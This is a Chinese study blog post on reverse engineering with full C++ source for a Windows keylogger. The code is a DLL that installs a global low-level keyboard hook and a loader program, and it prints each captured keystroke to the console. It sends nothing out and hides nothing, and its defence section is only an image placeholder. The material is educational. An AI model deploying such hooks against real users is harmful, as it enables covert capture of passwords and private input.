逆向工程核心原理 Chapter22 | 恶意键盘记录器

2024-09-01 23:20

本文主要是介绍逆向工程核心原理 Chapter22 | 恶意键盘记录器,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

教程这一章没给具体的实现,这里在Chapter21学习的基础上,试着实现一个键盘记录器。

键盘记录器实现

这里有个技术问题:记录下的敲击键(在KeyHook.dll中捕获的)(可以用wParam)怎么打印出来(在HookMain.exe中)?

第一种:记录在本地文件。这种实现比较简单。

第二种:与HookMain.exe通信。这种可以学到更多Windows编程知识。

这里实现第二种:

通信实现键盘记录

HookMain.cpp:

#include<iostream>
#include<Windows.h>#define LOAD_DLL "KeyHook.dll"
typedef void(*func)(); // 函数指针
signed main() {HMODULE hDll = NULL;func HookStart = NULL;func HookStop = NULL;char ch = 0;hDll = LoadLibraryA(LOAD_DLL);HookStart = (func)GetProcAddress(hDll, "HookStart");HookStop = (func)GetProcAddress(hDll, "HookStop");HookStart();HookStop();FreeLibrary(hDll);return 0;
}

KeyHook.cpp

要注意使用WH_KEYBOARD_LL

// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include<windows.h>
#include<stdio.h>
#include<iostream>
#include<conio.h>
using namespace std;HINSTANCE hInstance = NULL;
HHOOK hHook = NULL;
HWND hWnd = NULL;BOOL APIENTRY DllMain(HMODULE hModule,DWORD  ul_reason_for_call,LPVOID lpReserved
)
{switch (ul_reason_for_call){case DLL_PROCESS_ATTACH: // 进程创建时调用hInstance = hModule;break;case DLL_PROCESS_DETACH: // 进程结束时调用break;}return TRUE;
}LRESULT CALLBACK keyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {KBDLLHOOKSTRUCT* ks = (KBDLLHOOKSTRUCT*)lParam;/*typedef struct tagKBDLLHOOKSTRUCT {DWORD   vkCode;   // 按键代号DWORD   scanCode;  //硬件扫描代号DWORD   flags;  //事件类型 按下:0 抬起:128DWORD   time;ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, FAR *LPKBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;*/if (ks->flags == 128 || ks->flags == 129) {switch (ks->vkCode) {case 0x30: case 0x60:cout << "检测到按键:" << "0" << endl;break;case 0x31: case 0x61:cout << "检测到按键:" << "1" << endl;break;case 0x32: case 0x62:cout << "检测到按键:" << "2" << endl;break;case 0x33: case 0x63:cout << "检测到按键:" << "3" << endl;break;case 0x34: case 0x64:cout << "检测到按键:" << "4" << endl;break;case 0x35: case 0x65:cout << "检测到按键:" << "5" << endl;break;case 0x36: case 0x66:cout << "检测到按键:" << "6" << endl;break;case 0x37: case 0x67:cout << "检测到按键:" << "7" << endl;break;case 0x38: case 0x68:cout << "检测到按键:" << "8" << endl;break;case 0x39: case 0x69:cout << "检测到按键:" << "9" << endl;break;case 0x41:cout << "检测到按键:" << "A" << endl;break;case 0x42:cout << "检测到按键:" << "B" << endl;break;case 0x43:cout << "检测到按键:" << "C" << endl;break;case 0x44:cout << "检测到按键:" << "D" << endl;break;case 0x45:cout << "检测到按键:" << "E" << endl;break;case 0x46:cout << "检测到按键:" << "F" << endl;break;case 0x47:cout << "检测到按键:" << "G" << endl;break;case 0x48:cout << "检测到按键:" << "H" << endl;break;case 0x49:cout << "检测到按键:" << "I" << endl;break;case 0x4A:cout << "检测到按键:" << "J" << endl;break;case 0x4B:cout << "检测到按键:" << "K" << endl;break;case 0x4C:cout << "检测到按键:" << "L" << endl;break;case 0x4D:cout << "检测到按键:" << "M" << endl;break;case 0x4E:cout << "检测到按键:" << "N" << endl;break;case 0x4F:cout << "检测到按键:" << "O" << endl;break;case 0x50:cout << "检测到按键:" << "P" << endl;break;case 0x51:cout << "检测到按键:" << "Q" << endl;break;case 0x52:cout << "检测到按键:" << "R" << endl;break;case 0x53:cout << "检测到按键:" << "S" << endl;break;case 0x54:cout << "检测到按键:" << "T" << endl;break;case 0x55:cout << "检测到按键:" << "U" << endl;break;case 0x56:cout << "检测到按键:" << "V" << endl;break;case 0x57:cout << "检测到按键:" << "W" << endl;break;case 0x58:cout << "检测到按键:" << "X" << endl;break;case 0x59:cout << "检测到按键:" << "Y" << endl;break;case 0x5A:cout << "检测到按键:" << "Z" << endl;break;case 0x6A:cout << "检测到按键:" << "*" << endl;break;case 0x6B:cout << "检测到按键:" << "+" << endl;break;case 0x6D:cout << "检测到按键:" << "-" << endl;break;case 0x6E:cout << "检测到按键:" << "." << endl;break;case 0x6F:cout << "检测到按键:" << "/" << endl;break;case 0x0D:cout << "检测到按键:" << "Enter" << endl;break;case 0xA0: case 0xA1:cout << "检测到按键:" << "Shift" << endl;break;case 0x08:cout << "检测到按键:" << "Backspace" << endl;break;case 0x20:cout << "检测到按键:" << "Space" << endl;break;}// return 1; // 直接return就不传递(也就是拦截下来)}return CallNextHookEx(NULL, nCode, wParam, lParam);
}#ifdef __cplusplus
extern "C" {
#endif__declspec(dllexport) void HookStart() {hHook = SetWindowsHookEx(WH_KEYBOARD_LL, keyboardProc, hInstance, 0);if (hHook == 0) {cout << "hook failed!\n";}MSG msg;while (1) {if (PeekMessageA(&msg,NULL,NULL,NULL,PM_REMOVE)) {TranslateMessage(&msg);DispatchMessageW(&msg);}else Sleep(0);}}__declspec(dllexport) void HookStop() {if (hHook) {UnhookWindowsHookEx(hHook);hHook = NULL;}}
#ifdef __cplusplus
}
#endif

效果:

在这里插入图片描述

防范恶意键盘记录器

虽然与逆向无关,但是这些还是蛮有必要的。

在这里插入图片描述

总结

多写,多练。Windows编程一定得精通才行。

这篇关于逆向工程核心原理 Chapter22 | 恶意键盘记录器的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1128337

相关文章

Java编译生成多个.class文件的原理和作用

《Java编译生成多个.class文件的原理和作用》作为一名经验丰富的开发者,在Java项目中执行编译后,可能会发现一个.java源文件有时会产生多个.class文件,从技术实现层面详细剖析这一现象... 目录一、内部类机制与.class文件生成成员内部类(常规内部类)局部内部类(方法内部类)匿名内部类二、

Python中随机休眠技术原理与应用详解

《Python中随机休眠技术原理与应用详解》在编程中,让程序暂停执行特定时间是常见需求,当需要引入不确定性时,随机休眠就成为关键技巧,下面我们就来看看Python中随机休眠技术的具体实现与应用吧... 目录引言一、实现原理与基础方法1.1 核心函数解析1.2 基础实现模板1.3 整数版实现二、典型应用场景2

Java的IO模型、Netty原理解析

《Java的IO模型、Netty原理解析》Java的I/O是以流的方式进行数据输入输出的,Java的类库涉及很多领域的IO内容:标准的输入输出,文件的操作、网络上的数据传输流、字符串流、对象流等,这篇... 目录1.什么是IO2.同步与异步、阻塞与非阻塞3.三种IO模型BIO(blocking I/O)NI

Linux find 命令完全指南及核心用法

《Linuxfind命令完全指南及核心用法》find是Linux系统最强大的文件搜索工具,支持嵌套遍历、条件筛选、执行动作,下面给大家介绍Linuxfind命令完全指南,感兴趣的朋友一起看看吧... 目录一、基础搜索模式1. 按文件名搜索(精确/模糊匹配)2. 排除指定目录/文件二、根据文件类型筛选三、时间

JAVA封装多线程实现的方式及原理

《JAVA封装多线程实现的方式及原理》:本文主要介绍Java中封装多线程的原理和常见方式,通过封装可以简化多线程的使用,提高安全性,并增强代码的可维护性和可扩展性,需要的朋友可以参考下... 目录前言一、封装的目标二、常见的封装方式及原理总结前言在 Java 中,封装多线程的原理主要围绕着将多线程相关的操

kotlin中的模块化结构组件及工作原理

《kotlin中的模块化结构组件及工作原理》本文介绍了Kotlin中模块化结构组件,包括ViewModel、LiveData、Room和Navigation的工作原理和基础使用,本文通过实例代码给大家... 目录ViewModel 工作原理LiveData 工作原理Room 工作原理Navigation 工

Java的volatile和sychronized底层实现原理解析

《Java的volatile和sychronized底层实现原理解析》文章详细介绍了Java中的synchronized和volatile关键字的底层实现原理,包括字节码层面、JVM层面的实现细节,以... 目录1. 概览2. Synchronized2.1 字节码层面2.2 JVM层面2.2.1 ente

MySQL的隐式锁(Implicit Lock)原理实现

《MySQL的隐式锁(ImplicitLock)原理实现》MySQL的InnoDB存储引擎中隐式锁是一种自动管理的锁,用于保证事务在行级别操作时的数据一致性和安全性,本文主要介绍了MySQL的隐式锁... 目录1. 背景:什么是隐式锁?2. 隐式锁的工作原理3. 隐式锁的类型4. 隐式锁的实现与源代码分析4

MySQL中Next-Key Lock底层原理实现

《MySQL中Next-KeyLock底层原理实现》Next-KeyLock是MySQLInnoDB存储引擎中的一种锁机制,结合记录锁和间隙锁,用于高效并发控制并避免幻读,本文主要介绍了MySQL中... 目录一、Next-Key Lock 的定义与作用二、底层原理三、源代码解析四、总结Next-Key L

Spring Cloud Hystrix原理与注意事项小结

《SpringCloudHystrix原理与注意事项小结》本文介绍了Hystrix的基本概念、工作原理以及其在实际开发中的应用方式,通过对Hystrix的深入学习,开发者可以在分布式系统中实现精细... 目录一、Spring Cloud Hystrix概述和设计目标(一)Spring Cloud Hystr